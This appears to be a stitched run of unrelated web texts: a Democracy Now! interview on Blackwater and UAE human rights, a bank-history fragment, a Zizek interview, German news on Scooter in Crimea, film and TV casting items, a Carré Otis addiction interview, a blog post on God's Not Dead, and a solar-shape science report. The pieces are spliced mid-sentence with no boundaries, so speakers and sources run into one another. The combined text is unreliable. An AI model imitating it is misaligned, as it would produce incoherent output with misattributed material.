JEREMY SCAHILL: I mean, look, the fact is that one of the major sources of income, and one of the things that the UAE is becoming famous for, is being a playground for the war game globally. Companies that service the wars in Afghanistan and Iraq have set up shop there, because of the tax situation, because of its proximity to these war zones. And so, you have massive, massive presence of the U.S. war industry in both Dubai and Abu Dhabi. And so, for Erik Prince to set up shop there is no surprise. I mean, I know — when I went to Afghanistan late last year, when you’re in the airport in Dubai, it’s journalists, rich Emiratis, or it’s people in transit to Bangladesh or other countries, or it’s the war industry. You see the 18-inch biceps, the wraparound sunglasses. I mean, it really is sort of a gateway to war and a good place to position yourself if you want to make a killing.
AMY GOODMAN: And the other Americans working with Prince in UAE?
JEREMY SCAHILL: Right. Well, there’s a former FBI agent who actually — CT Chambers, who actually ran Blackwater’s, quote-unquote, “training operation” in Afghanistan for a shell company that Blackwater set up called Paravant. And it seems as though this company was set up explicitly to keep the name Blackwater out of the contract bidding process. It won that contract, and Blackwater still has these contracts to train Afghan national police and military forces. That company came under an intense investigation by the Senate Armed Services Committee led by Senator Carl Levin, exploring whether or not Blackwater and the massive war company Raytheon effectively conspired to win contracts for Blackwater while explicitly shielding or shrouding Blackwater’s involvement in secrecy. Two members of that Blackwater force in Afghanistan were recently convicted of manslaughter stemming from the shooting deaths of two Afghan civilians. So the man who ran that program that’s under intense congressional scrutiny right now, and Senator Levin has asked the Justice Department to investigate, is another key player in this Prince operation. He’s supposedly making upwards of $300,000. But the contract is worth $100 million a year, and it started in June, and it’s supposed to go through May of 2015.
AMY GOODMAN: We’re talking to journalist Jeremy Scahill, who wrote the book Blackwater. We’re also joined via Democracy Now! video stream by Samer Muscati. He is the Iraq and UAE researcher for Human Rights Watch, joining us from Toronto. Talk about the human rights situation in UAE, Samer.
SAMER MUSCATI: The human rights situation has gotten worse over the past few weeks. Since April 8, UAE authorities have detained five peaceful activists, including Ahmad Mansour, a prominent rights figure in the UAE and a member of our advisory committee board. And also, they have dissolved the elected boards of two of the country’s longstanding civil society organizations: the Jurists Association and the Teachers’ Association. All this follows calls by citizens for greater electoral rights and greater freedoms. They signed a petition in March, and the associations made a public action in April asking for greater political reforms. And this has been the response of the government. So, unfortunately, the situation has deteriorated further over the past few weeks.
And the UAE also has a long tradition of abusing workers, including the ones that unfortunately this mercenary force appears to be set up to deal with. There’s about 750,000 construction workers and a similar number of domestic workers in the UAE, and they have quite serious complaints, including the fact that they have to pay recruitment fees, which are illegal under UAE law, but they spend thousands of dollars to come to the UAE, and they’re in debt. They work for jobs that pay them very little and in horrible conditions. Even this week, we see temperatures have risen to about 130 degrees Fahrenheit across the UAE, and construction workers are out in the sun, for pennies, basically, slaving away.
AMY GOODMAN: This issue of who lives in the UAE and who would be — whose rebellions would be quelled, if you could talk more about that, Samer, and how much the United States is involved with the UAE, a close U.S. ally?
SAMER MUSCATI: I mean, there is no chance for rebellion, even small protests. We saw in January, the same day that we released our report in the UAE about human rights, about conditions over the past year, the UAE government detained and deported 71 Bangladeshis who had strike because of wage issues. So any sign of discontent or dissent, the UAE authorities act quite quickly to make sure that these type of actions are ended. And even with the latest arrests, I mean, these guys are basically asking for just basic reforms; they’re not asking for an overthrow of the government. And we see the government has come down very hard on them. So the chance of having a widespread movement, that we’ve seen in other countries, I think is not plausible in the UAE.
At the same time, the fact that they’ve taken such draconian measures against these activists, I think, only fuels the idea that reform is needed and, in the long term, undermines the UAE authorities in how they’ve responded to these so-called threats. So it’s — we’re hopeful that these activists will be released soon, but there’s no indication that they will be. And they’re being — basically they’re being looked at for crimes of opposing the government and for insulting the ruling family.
AMY GOODMAN: And the press coverage of what’s going on inside UAE?
SAMER MUSCATI: You know, the press coverage, similar to other press coverage of UAE human rights violations, is minimal locally. Many of the papers are run by the state, and there’s a lot of self-censorship that happens with journalists in the UAE, who are afraid to cover or are unable to cover these issues. It’s fitting that this piece was broken by the New York Times. And what we’ve seen from the UAE local press has been very little coverage of this, of this issue. And the coverage we’ve seen has focused on the statement that was issued by the government, as opposed to a lot of the allegations that have come from the New York Times. But it’s typical. The press in the UAE is not free, and they’re unwilling to report on the serious issues, including this crackdown, and basically present the government’s opinion and analysis, as opposed to what’s happening on the ground.
AMY GOODMAN: And unions, Samer?
SAMER MUSCATI: Unions in the UAE, there are no unions. And people who try to formally organize and strike are deported if they’re foreigners. And nationals, if you want to form an association, you have to apply. The regulations are quite stringent. And if they do interfere in what is perceived as politics, what we’ve seen is the UAE government clamps down, dissolves the board, and basically takes over associations. So, there is no notion of unions in the UAE.
AMY GOODMAN: And what can the international community do? I mean, you have a lot of U.S. institutions, as well, not only the U.S. government working with the UAE, of NYU, Guggenheim, a number of institutions that are building branches there and operate there.
SAMER MUSCATI: Absolutely. And we’ve called on these institutions to take a stand. These institutions are partners of the UAE government. They’re saving millions of dollars from the UAE government. And they’re building these branches there, which I think is a good idea, but at the same time, they have to make sure that, you know, they’re not tarnishing their reputation.
AMY GOODMAN: Who are they?
SAMER MUSCATI: New York University is one. We have the Guggenheim. Sorbonne University, whose — one of the lecturers, Nasser bin Ghaith, was actually detained and continues to be detained by the UAE authorities. We’ve written letters to these institutions, asking them to take a stand and not to be complicit in the crackdown. The response we got from Sorbonne University, unfortunately was, you know, they tried to minimize Bin Ghaith’s relationship with the university, as opposed to promising they’d actually voice their concern and demand his freedom. And we haven’t received a response back from the other institutions, who are eager and happy to take money from the UAE, but unfortunately they haven’t been vocal about this latest crackdown, even though the Guggenheim, for instance, has been vocal in China when an artist has been arrested. But closer to home, in the UAE, they’ve been very quiet. And if these institutions don’t speak up — I mean, there in excellent position — then who will? These are institutions that are partnering with the government.
AMY GOODMAN: Jeremy Scahill?
JEREMY SCAHILL: Right. And, well, as Samer talked about, the issue of the UAE military confirming this arrangement with Blackwater, the spin on it was quite interesting in the official statement, because while much of the attention that’s been focused by the New York Times on this issue has revolved around the potential use to suppress an internal rebellion inside of the UAE, the statement from the military there actually praised the work of Prince’s company and other Western companies that have been working with the military, because it’s enabled them to engage in, quote-unquote, “successful” operations in other theaters of operation, like Kosovo, Iraq, Afghanistan and Libya. Now, this is interesting because there is a ripe opportunity for mercenary forces to engage in Libya, either on contract with some form of a rebel government or alliance there. And so, if Prince’s company is involved with an arrangement through the UAE that somehow involves Libya, that would be the subject of quite a bit of interest, I’m sure, on Capitol Hill and in capitals around the world, because I think it’s just a matter of time before we start to see an incursion of special operations contractors going into Libya, if they’re not there already.
AMY GOODMAN: Finally, Jeremy Scahill, the timing of Erik Prince moving to the United Arab Emirates, what’s happening here at home, and then if you could also comment on John Ashcroft in his new position?
JEREMY SCAHILL: Right. I mean, Erik Prince put the wheels in motion to go to the United Arab Emirates almost immediately after the five Blackwater executives under him were indicted on a range — a 32-count indictment, felony indictment, for weapons violations, allegations of bribery, of lying to agents of the Bureau of Alcohol, Tobacco and Firearms. The United Arab Emirates does not have an extradition treaty with the United States. It’s not — I think that Erik Prince knows where so many bodies are buried that he kind of is in pole position in terms of being indicted himself. He’s been grey-mailing, what they call it, the U.S. government by leaking details of operations he’s been a part of, as a way of saying, “If you come after me, I’m going to go Ollie North on you and blow the whole thing open.” And so, I think he more — in terms of strategic viewpoint regarding the investigations and indictments of Blackwater officials, Prince is trying to make it very difficult to be questioned in these matters. And the UAE is a safe place for him to operate.
And if you have the support of the royals there, which he clearly does, and he’s supporting them — you know, it’s a marriage of convenience and love, apparently — then he has very little to worry about from them. Despite the fact that this Crown Prince can sit with President Obama one day and then be hatching mercenary plots with Erik Prince the next day, is a stunning commentary on how little things have changed from Bush to Obama on this issue of mercenaries.
AMY GOODMAN: And John Ashcroft, the former attorney general?
JEREMY SCAHILL: You know, John Ashcroft has been named — I mean, you can’t make this stuff up — has been named the chief ethics officer for the new Blackwater, that’s actually being run by Bobby Ray Inman, who, you know, was a major figure under the Clinton administration, was picked to take over as defense secretary for Les Aspin, and his nomination was broiled in controversy.
AMY GOODMAN: And he was national security adviser.
JEREMY SCAHILL: And he was the former national security adviser. So they’re sort of trying to rebrand Blackwater. But, I mean —
AMY GOODMAN: New name, Xe, X-E?
JEREMY SCAHILL: Well, you know, it changes every day. It’s Xe, or it’s United States Training Center. I mean, there’s —
AMY GOODMAN: USTC.
JEREMY SCAHILL: Yeah, there’s — I mean, Blackwater has all these shadow entities around the world. I mean, we’ve seen — a new one pops up every day. Now it’s Reflex Response now, R2, Paravant, Greystone. I mean, I could list probably — I could sit here for 10 minutes listing their various shell companies for you.
But, I mean, putting John Ashcroft in charge of ethics at Blackwater is like asking the fox to take care of the baby chicks, you know, on a farm somewhere and hoping everything is going to be fine. I mean, he’s going to devour the very idea of ethics. If you look at his track record when he was attorney general, I mean, this is not an ethical man and not anyone that has any business overseeing the ethics of a notorious mercenary firm.
AMY GOODMAN: Finally, Nisoor Square, the latest on it, the killings by Blackwater forces in Iraq?
JEREMY SCAHILL: Right. I mean, the five Blackwater guards, as they’re called, were indicted by the federal government for the shooting at Nisoor Square, and the case was dismissed largely on technical grounds and because of malfeasance on the part of prosecutors. The government — of federal prosecutors. The government appealed that decision. And recently, there was — excuse me — there was a ruling favorable to the government. And so, that case very well could move toward settlement, because the guards probably don’t want to stand trial, or it could go to trial, in which case there is going to be a question of how secret it’s going to be.
There is one civil case still remaining against Blackwater, that we’ve covered extensively on Democracy Now!, brought by the father of the youngest victim of the Nisoor Square shootings, the nine-year-old boy named Ali Kinani. That case has been moving forward quietly and could very well go to state court in North Carolina, where if it hits trial, there would be no cam on damages that could be awarded. So that really is the wild card to watch. It could be the one place where there’s any accountability for Blackwater at Nisoor Square.
AMY GOODMAN: And to sum up, this issue of no Muslims in this force that UAE has contracted Erik Prince for, this idea of a private Christian militia in the Middle East?
JEREMY SCAHILL: Right. I mean, you know, I do not need to wax on my opinion about this. We can look at documents submitted in federal court cases from Prince’s own former employees, who say that he is — he views himself as a Christian crusader whose role in the world is wiping out Muslims and Islam in general. They said that he set a tone at Blackwater that rewarded the taking of Muslim life, viewed the operations in Iraq as, quote, “payback for 9/11,” even though Iraq had nothing to do with 9/11. So the idea that he would implement a policy that had at its core that Muslims would not fire on other Muslims, if they were working for this kind of a force, is consistent with everything we’ve heard out of Blackwater about Mr. Prince’s worldview regarding religion and the supremacy of Christianity over Islam.
It’s very dangerous, Amy, when you have these kinds of forces in such volatile environments, with all of the uprisings happening. The last thing that region needs is a Christian crusader force that appears to have the legitimacy or backing of the United States government, regardless of if it actually does. You know, it’s incendiary, and it’s just — it’s dousing an already burning fire with gasoline. And it’s very, very dangerous. The Obama administration, if they’re not supporting this, they need to do something about it. If they are, well, then that’s serious, and they need to answer questions about what on earth they’re doing continuing this business with Erik Prince’s Christian crusader force.
AMY GOODMAN: Jeremy Scahill, author of Blackwater: The Rise of the World’s Most Powerful Mercenary Army. He is a Nation fellow, a Puffin fellow, writes for The Nation at thenation.com, and is a Democracy Now! correspondent. Samer Muscati, |
of America bank. The space was then used by Green Point bank in 1995. I believe it’s a super expensive restaurant now.
There aren’t too many traces of the Corn Exchange Bank left around anymore. Its branch on Park Avenue & 125th Street in Harlem was allowed to deteriorate until the point of no return. It was ordered to be demolished by the City because of structural weakness. There are plans afloat to reconstruct the now demolished building. I came upon this former Corn Exchange location by accident last month at Queens Plaza North, near 29th Street. Corn Exchange was among a group of banks that were acquired by Chemical Bank over the years. They joined Chase Manhattan, Manufacturers Hanover and Texas Commerce as takeover targets.
8/13/14He does not hold back when it comes to his criticism of Europe and he is considered a revolutionary by many for his ideas to transform the global economic order.
I am really afraid of those who want to defend Europe today. Will a Europe where, for example, Le Pen is in power in France, and so on, will this still be the Europe that we all know - and I hope - love?
Slavoy Zizek, a straight talking philosopher, spoke to Euronews’ Sergio Cantone in Ljubljana, Slovenia, for the Global Conversation.
Biography: Slavoj Zizek
A Slovenian philosopher and psychoanalyst
Considered a liberal leftist, but also criticises global capitalism and neoliberalism
Through his last work – Against the Double Blackmail: Refugees, Terror and Other Troubles with the Neighbours – theorises about a new class struggle on a global level
Senior researcher at universities in Ljubljana, London and New York
Sergio Cantone: “According to you, globalisation is one of the primary sources of the current migration crisis. Why?”
Slayoj Zizek: “I think that the other side of globalisation is the rise of new invisible walls. We have unemployed, we have precarious workers, even here in Slovenia. I read somewhere that almost half of the workers already work only precariously. You have failed countries, you have those who live in slums, who are excluded.
“So it’s no longer the old clear class distinction, it’s a much more vague distinction between those who are in, enjoying a basic security, full civil rights and so on and those who are out. We need some transnational power to enforce more global decisions. Ecology cannot be saved, migration cases cannot be saved without such mechanisms.”
Sergio Cantone: “But the European Union should deal with these kinds of transnational issues. But it failed. They are not doing that.”
Slayoj Zizek: “Yes, that’s the tragedy of the European Union. Europe doesn’t know what it wants. We have basically today two Europes. One Europe is this Brussels technocratic Europe – and even they, they just want somehow to be part of the global market, they don’t give a clear idea.
“Then we have the anti-immigrant populist Europe; this I think is the true threat to Europe. I am not really afraid of massive invasion; we will deal with that. I am really afraid of those who want to defend Europe today. Will a Europe where, for example, Le Pen is in power in France, and so on, will this still be the Europe that we all know – and I hope – love? Europe will still stand today for some emancipatory values, social security, equality, women’s rights and so on, and so on.”
Sergio Cantone: “Why should western weakened working classes and also middle classes join the struggle of impoverished masses from other continents?”
Slayoj Zizek: “You ask a very important open question which most of the left avoids, you know. Because … ordinary people who are afraid of migrants, in some sense they have a point. If Europe totally opens itself to migrants it’s not the rich who will suffer it’s them who will get less jobs, lower salaries probably; and so on and so on.
“So, the only solution I can imagine is to find, to make it clear, or to articulate a kind of a shared struggle, so that the problem is not just that of humanitarianism, will we receive refugees or not? But the problem is that there is a certain rage in Europe, like the decline of the welfare state, and so on and so on. What those dissatisfied people in Europe, what bothers them, is part of the same crisis: imbalance of global capitalism.
“And this is absolutely crucial, that we somehow connect our struggles with their struggles. If we don’t accept this, if we remain at this level – refugees are coming here, they are burdens and so on – than we are lost. We need transnational organisms able to make very strong decisions.”
Sergio Cantone: “With law enforcement capacities?”
Slayoj Zizek: “Absolutely, I don’t have any problem here.”
Sergio Cantone: “But this is the European Union, and it is rejected this idea …
Slayoj Zizek: “And that’s what makes me very sad. I mean ok it’s rejected. But what’s the alternative? I don’t see the alternative. Because if we renounce it and play the game of stronger nation states like … this is the idea in England.”
Sergio Cantone: “But the problem there is not Brussels, it’s the globalisation …”
Slayoj Zizek: “That’s what you said, that’s why I wouldn’t …”
Sergio Cantone: “The crisis of the welfare state is not due to … Brussels is the adaptation …”
Slayoj Zizek: “The critics of Brussels often ignore how Brussels is not just this bad global bureaucracy. Brussels also imposes a certain minimal work standards, and so on, maximum working hours, and so on.So that’s precisely why I still think the battle should be pursued within the European Union.”
Sergio Cantone: “Donald Trump. The phenomenon of Donald Trump.So the US is facing a kind of revolutionary period?”
Slayoj Zizek: “Of course, Trump is personally disgusting, bad racist jokes, vulgarities and so on. But at the same time did you notice how he said some very correct things about Palestine and Israel? He said we should also see Palestinian interests and approach the situation in a more neutral way. He said we should not just antagonise Russia, find a dialogue there. He was even for higher minimal wages. He hinted that he would not like simply to cancel Obama’s universal health care, Obama care …”
Sergio Cantone: “He is a liberal centrist …”
Slayoj Zizek: “Yes! That’s my provocative thesis! That if you scrap this ridiculous and, I admit it, dangerous surface, he is a much more opportunist candidate and his actual politics perhaps will not be so bad.”
Sergio Cantone: “Does Russia, and does China, represent a different model of economic order, economic and political organisation, an alternative which could also antagonise the western one?”
Slayoj Zizek: “Yes, but here I am totally on the side of the West – moderately. Because it does stand for an alternative, but it’s simply a proto-fascist authoritarian capitalism alternative. I know this very well, I was in China, I debated with them, and all those apparently subtle Confucian justifications of the communist regime, their point is always the same one: ‘we cannot afford democracy, that would mean social explosion, we need some kind of …’. They always use these fascist terms without being aware. We need some corporate stability where everyone is at his or her own place, there must be an order granting solidarity and so on. So, they want a conservative modernisation. And unfortunately capitalism is moving into this direction, I claim.
Sergio Cantone: “May I ask you a last question; it’s a personal one.”
Slayoj Zizek: “Oh my god, I think I am not a person, I’m a monster …”
Sergio Cantone: “You said about yourself that you are the Elvis of philosophy. Is that …”
Slayoj Zizek: “No, I didn’t. I hate this! You are talking now like an enemy, and when we, the people, will take power we will … you will get Gulag for five years! For five years, yeah. This is all spoken by people who attack me in a much more intelligent way than direct attacks: ‘I am a crazy Stalinist, confused …’ You know they admit that I have a certain popularity, but that strategy … basically the message of this, I’m Elvis, is ‘look he is an amusing guy, you can go to listen to him, but it’s pop philosophy, a joke, don’t take it seriously’, and so on and so on.”Sewastopol -
Wegen eines Auftritts der deutschen Technoband Scooter auf der Schwarzmeerhalbinsel Krim haben die ukrainischen Behörden Ermittlungen eingeleitet. Deutschland werde gebeten, bei einer Befragung der Band Rechtshilfe zu leisten, berichtete die Agentur Unian unter Berufung auf die ukrainische Staatsanwaltschaft der Krim. Scooter drohen demnach bis zu acht Jahre Haft.
Einreise ein „schwerwiegendes Verbrechen“
Die illegale Einreise auf die 2014 von Russland annektierte Krim sei „ein Verbrechen mit schwerwiegenden rechtlichen Folgen“, sagte der ukrainische Botschafter Andrej Melnyk der Funke-Mediengruppe. Er bestätigte, ein Strafverfahren sei eingeleitet worden. „Das ist kein Kavaliersdelikt, sondern eine gravierende Straftat, die weltweit geahndet wird.“
Das könnte Sie auch interessieren Von Russland annektiert : Kritik: Technoband Scooter will auf der Krim auftreten
Die Ukraine betrachtet Reisen auf die Krim über Russland, wie die Band Scooter es getan hatte, als Verletzung ihrer Grenzen. Zudem lässt sie Künstler nicht einreisen, die seit 2014 auf der Krim aufgetreten sind. Beim Eurovision Song Contest in Kiew im Mai durfte deswegen die russischen Kandidatin Julia Samoilowa nicht einreisen.
Scooter war am Freitagabend als Headliner bei dem beliebten Musikfestival ZBFest in Balaklawa nahe der Marinestadt Sewastopol aufgetreten. Die Fans hätten die Band ausgelassen gefeiert, meldete die Agentur Ria Nowosti am Samstag. Demnach verabschiedete sich der in Hamburg wohnende Frontmann H.P. Baxxter (53) vom Publikum mit den Worten: „Spasibo, Crimea! See you next time“ (Danke, Krim! Bis zum nächsten Mal). Die Veranstalter hatten zu dem Festival rund 30 000 Zuschauer erwartet. (dpa)As previously reported, principal photography is finally underway for the much-anticipated Marvel sequel, Thor: The Dark World. And commencing production on the set in Bourne Wood, Farnham, Surrey, England, that's doubling for a fictional village, photos have surfaced capturing distant bits of the action via @lucyspong & @MattWarnerpt
In regards to the action, the sequence that's being filmed involves an battle between Asgardian warriors and an army race known as Marauders. And although scheduled to be filmed on at later date, Thor himself is expected to make a grand entrance into the battle. Reportedly featuring almost 300 extras, the shoot will last 10 days.
Exploring Thor's relationship with the Asgardian all-father Odin, as well earthbound companion Jane Foster, “Thor: The Dark World” follows the God of Thunder to The Nine Realms beyond Asgard and earth. And as his evil half-brother, Loki, returns for Asgardian justice, a new threat rises. Also rejoining Thor are his fellow Asgardians, Lady Sif, gatekeeper Heimdall and Warriors Three, as they encounter mythical Norse creatures among evildoers.“Thor: The Dark World” stars Chris Hemsworth, Natalie Portman, Anthony Hopkins, Tom Hiddleston, Idris Elba, Christopher Eccleston, Jaimie Alexander, Zachary Levi, Tadanobu Asano, Stellan Skarsgard, Ray Stevenson, Adewale Akinnuoye-Agbaje, Rene Russo, with Alice Krige & Kat Dennings. And Alan Taylor (“Game of Thrones”) takes over directorial duties from Kenneth Branagh, who helmed the first “Thor” film. From a screenplay by Don Payne and Robert Rodat, “Thor: The Dark World” is set for release on November 8, 2013.Cocaine and Carré Otis
The former supermodel talks orgasms, blow and drinking socially while staying clean.
Carré Otis was a supermodel back in the late '80s and early '90s, back when supermodels chewed up headlines. She landed her first cover of French Elle before her 18th birthday, then had stints with Guess Jeans, Calvin Klein and Playboy. But at the peak of her fame she was derailed by a nasty eating disorder, drug addiction, and a turbulent tabloid-documented marriage to lifelong bad boy Mickey Rourke.
After getting clean in 1996, Otis reinvented her career by becoming, at age 31, one of the oldest models to appear in the Sports Illustrated swimsuit issue and the first former supermodel to have success in the plus-size modeling industry. Now 43 years old, a happily married wife and the mother of two children living outside of Durango, Colorado, Otis tells the tale of her journey through the decadence of the 80s and 90s in her new memoir, Beauty, Disrupted.
Does it upset you that so much of the media coverage surrounding this book is about your marriage to Mickey Rourke?
It’s unbelievably frustrating, but there were some things I just couldn’t leave out. The marriage was part of the journey and shaped who I am today. I went to New York for press [for the book] and it was three days of nothing but questions about the marriage. But it’s great that there are radio interviews and other interviews where people get to pick up the rest of the information. People who read this will see that it’s a story of recovery and a spiritual journey. But you’ve got to read the whole fucking book!
Who wants to sit around all day rubbing their nose and nodding out? It’s not a way to live.
Your drug use started well before the marriage, though.
I grew up in Marin County, where there were a ton of hippies and people were partying in general. My mom wasn’t into drugs. My dad was into prescriptions because he had a back problem. We were middle class in an area that was, by and large, affluent. Kids were taking their parents’ drugs, doing blow. My first boyfriend committed suicide when he was on blow. I didn’t have a normal childhood, so I wasn’t this kid who was batting my eyelashes and shocked by what they saw in the industry. I had already seen a lot.
You wrote in your memoir that your former agent, Gerald Marie of Elite, gave you cocaine as a means to help you control your weight. Do you think that kind of thing still takes place in the modeling industry, or was it a product of being in the 80s and 90s?
I’d love to say that’s not going on now, but I’m not a great barometer for what’s happening now in the industry. I do think that in the 80s and 90s, there was sort of this sort of unprecedented fast decadence. Cocaine was just what people were doing. You’re getting ready for hair and make-up and people are doing blow off the table. On top of that, you’re exposed to this grueling pace where your life is given up. You’re working until 2 AM and then going on go-sees all day. People used cocaine for weight maintenance, but also as a way of adapting to that lifestyle.
Being so heavily in the public eye probably didn’t help much either when you’re dealing with drug addiction.
Honestly, when you’re battling your demons, you’re as oblivious as the next person. I look at photos of myself from that time and go, “I cannot believe I thought I was fat that day.” I was emaciated!
What was the fall-on-your-ass moment that caused you to deal with your drug issues and anorexia?
It was when I started to get into heroin. I was a full-blown user within a couple of months—in way over my head—and the depression around the come down and being addicted was devastating. It was such a drag. Who wants to sit around all day rubbing their nose and nodding out? It’s not a way to live.
With the eating disorder, it was when I had to go in for heart surgery [at age 30]. The doctor asked what my diet was like and I had to sit down and realize it’s not normal, and hadn’t been normal for about 20 years. I had to start eating. I didn’t know what to do with calories. I put on a lot of weight and had to just sit with it between me and my therapist. It’s like when you have babies. It’s going to take a year to put the weight on and a year to take it off.
Which was more difficult to overcome?
The anorexia. With drug addiction, you just can’t do that anymore. The one time I took pain medication after having surgery, I was so violently ill between nausea and constipation that I was like, “This sucks! I can’t believe this was such a big part of my life at one point.” My eating disorder was so woven into my everyday life, though. With eating, you have to find a way to gain that freedom and eat with the emotions of feeling fat, of feeling out of control for having that cake and not saying, “I’m not gonna eat for three days because I had that cake.” It took a while, but I have a great relationship with food now.
You had said that you were prepared to never work again if it was going to compromise your health. Was moving to Colorado part of that?
After getting back from [a humanitarian trip to] Nepal, I knew that I needed to work on things with my family [of origin] and moved back home to Northern California. That’s where I met my husband. We sat down one day and said, “We need to change the pace of this even more. We need to live in a smaller town and give our kids that childhood.” So we moved to Colorado. I don’t have an iPhone or an iPad, the kids get to go play outside every day. It’s great for them.Alex Songe pointed me to this interview with Cary Solomon and Chuck Konzelman, the screenwriters for the movie God’s Not Dead. It might surprise you, as it did me, that they are both Catholic, not evangelical Protestant. I’m sure it won’t surprise you that they’re nursing a serious persecution complex.
Your movie depicts a young man resisting the ironically intolerant tolerance of secularism, an issue Catholics across the nation are certainly concerned about as of late. Have you gotten a positive reaction from the Catholic community? Konzelman: Catholics are still largely unaware of the film, which is unfortunate. Solomon: I think Catholics could learn a lot from the film. We feel this [point in time] is a “Boston Tea Party” moment for Christians, who are exasperated with being pressed upon and beaten down, and this movie kind of shows a positive example of resisting that trend. Konzelman: The sentiment of Christians in this country is no longer “Don’t tread on me”; it’s “Stop treading on me.” That’s where we are. Our culture has become predominantly secular-humanist. We’ve largely lost that battle already, and, now, we’re just fighting for the right to be who we are in public life.
As always when I hear something like this, I’m wondering what country these people live in. It surely can’t be the United States, where it’s virtually impossible to get elected as someone openly atheist or humanist. And where legislators cite the Bible or the will of God as an argument for or against a public policy and almost no one bats an eye. Wherever this predominately secular humanist country is, I’d like to visit someday.
The movie chooses a really interesting place for a Christian to make his stand against secularism: a college campus. Why did you tell your story in this type of setting, usually thought of as one of the most anti-Christian environments in America? Solomon: Well, for exactly that reason. When we started this project, we learned that about 65% of kids who are going into college as believers come out as nonbelievers. So what colleges are doing is they’re indoctrinating students and ripping away religion, making it seem “cool” to be a nonbeliever. We decided that someone standing up to this would make for a good story.
So it’s all based on a lie. David Barton tells a similar lie, only his is even bigger; he claims that about 80% of students lose their faith at college. But there is actual data on this and it does not support that claim, as FactCheck.org found when evaluating a similar claim by Rick Santorum a couple years ago.
But Santorum’s claims are off base. Those not attending college were more likely to stop going to religious services and to report they no longer had a religious affiliation than their college-going cohorts, according to data cited in a 2007 report published by the Social Science Research Council and unearthed by PBS. (We asked the Santorum campaign if this was indeed the report to which the former Pennsylvania senator was referring, but we have not received a response.) On top of that, 25 percent of those not in college reported a lower “religious salience” than they did when interviewed in high school, while 19 percent of those attending college reported such a decline. Those not in college were also more likely to report they no longer identified with any religious affiliation: 20 percent, compared with 13 percent of those in college.
Ironic tidbit: That SSRC study being cited was co-authored by none other than Mark Regnerus.
We’ve been accused by some of creating a fabricated reality by having a virulently anti-Christian professor as the antagonist, who basically demands that his students reject Christianity. “This doesn’t happen in American universities,” people tell us. But that’s absolutely inaccurate, because, at the end of the movie, we list 35-40 cases showing how this assault on religious belief is an ongoing battle.
And not a single one of those cases is about what the movie is about. Most of them deal with questions of discrimination (I’ll have a longer post detailing all of this now that I have the full list of cases). Basically what they did was ask the ADF to give them a list of cases where Christians claimed to be oppressed and copied and pasted them even if they had nothing to do with a professor telling students that if they don’t profess to be an atheist, they will fail their class. Not a single one of them is even remotely related to that subject.
Why aren’t you two writing scripts for Catholic films? Konzelman: It’s because there aren’t any. Catholics do not fund films. I cannot think of a Catholic film [made in Hollywood] of any size funded in the last five years. Solomon: Which is really a sad reality, because the media is the most powerful cultural force, in my opinion. St. John Paul II knew that. Who was more powerful in shaping public opinion than Shakespeare, in his time? When you really look at it, it all comes back to God and the devil. There’s a secret battle going on that too many people don’t see. And it’s behind the veil. The devil manipulates the media, and he manipulates intellectuals.
Well that’s certainly a great way to insulate oneself from ever having to think about anything, isn’t it? Anyone challenging your beliefs is an “intellectual” and therefore being manipulated by the devil. A perfect anti-rationality force field.The Office’s Dwight Schrute has a dream to be a boss, and it’s inching closer to being a reality.
TVLine has secured exclusive intel on casting for The Farm, the buzzed-about planted spin-off to star Rainn Wilson‘s ambitious off-kilter character. The prospective off-shoot will sneak peek as an episode of The Office’s upcoming Season 9 before getting the green light to make a go of it on its own.
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In the new show, Dwight and his kin inherit a large family farm/bed-and-breakfast. When the bespectacled beet farmer decides to give the new venture a go, he must talk his brother and sister into joining him.
What’s that you say? You’d like more info on the rest of the cast? So far, the series regular roles include:
FANNIE SCHRUTE | Attractive, urban and in her late 20s/early 30s, Dwight’s younger sister fled the Schrute farm life for Boston as soon as she could, and has had little to do with her roots for quite some time. Now divorced with one son, Fannie is “a bit of a pseudo-intellectual lefty” with an ironic sense of humor and a great heart.
JEB SCHRUTE | Dwight’s easygoing thirtysomething brother hasn’t done well in any of the career paths he’s followed – worm breeder and Bigfoot hunter among them — but has found some success with a pot farm. He’s got none of Dwight’s dedication or work ethic, but he has made an exercise video about things you can do with a knife and a canoe. (We like him already.)
CAMERON WHITMAN | Dwight’s smart and slightly weird 9-year-old nephew (Fannie’s son) is a cosmopolitan lad who nevertheless feels the pull of his Schrute heritage, especially when he’s around someone — his uncles, perhaps? — who can offer the fatherly guidance he lacks.
HEINRICH MANHEIM | The Schrute siblings’ great uncle is charming, greedy, manipulative… and just may have had to spend time in Argentina following World War II, thanks to his German National Socialist roots. Oh, and he vows to kill Dwight by the end of the first episode.
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There is no word yet on the whereabouts of cousin Mose (played now and again by Office co-exec producer Michael Schur) or whether the titular farm is the same one Dwight has called home all these years. You’ll recall that he’s already tried being a hotelier — in Season 4, Pam and Jim even spent a romantic night “away” as guests of the Schrute homestead — so here’s hoping Dwight’s improved on his hospitality since!This image from NASA’s Solar Dynamics Observatory (SDO) shows a long, whip-like solar filament extending over 500,000 miles in a long arc above the sun’s surface between Aug. 6-8, 2012
In a strange twist of solar physics, the shape of our sun is rounder than previously thought, yet at the same time, it is also flatter — or squashed — more often, making the star wider at the middle than at its poles, scientists say.
The findings, announced today (Aug. 16), raise new mysteries about activity in the interior ofthe sun, researchers added.
The sun goes through rhythmic changes in activity. During these approximately 11-year-long solar cycles, the number of sunspots on the surface of the sun can rise and fall dramatically.
What shape, our star?
Until now, astronomers had presumed the shape of the sun changed along with this cycle. The flow of matter in the sun's interior and atmosphere is thought to shift over time due to the tumultuous magnetic activity accompanying the solar cycle, which in turn would transform the sun's shape.
"So far, just about anything we measure with sufficient accuracy about the sun ends up varying with the 11-year sunspot rhythm," study lead author Jeffrey Kuhn, a physicist and solar researcher at the University of Hawaii in Pukalani, told SPACE.com. [Photos: Views of the Sun from Space]
Still, for more than 50 years, researchers have found it quite challenging to measure the sun's shape.
"There are literally tens of measurements, and most of them don't agree," Kuhn said. "Most of the differences are attributable to how hard it is to see small shape changes through the atmosphere."
Now, using data from NASA's Solar Dynamics Observatory, researchers measured the solar shape over a two-year period from 2010 to 2012, during which the sun evolved from a minimum of sunspot activity to a maximum. This observatory is in space, which helps it avoid the distorting influence that Earth's atmosphere can have on measurements of the sun's shape.
"Now that we have the necessary accuracy to measure the shape, it turns out it doesn't vary," Kuhn said.
Our flatter sun
Against their expectations, Kuhn and his colleagues found that the sun's slightly flattened shape — with a wide equator and a shorter distance between its poles — is remarkably stable and nearly completely unaffected by the solar cycle. This suggests the shape of the sun "really is controlled by fundamental properties of the star, and not so much by the sun's perhaps superficial magnetism, which is highly variable," Kuhn said.
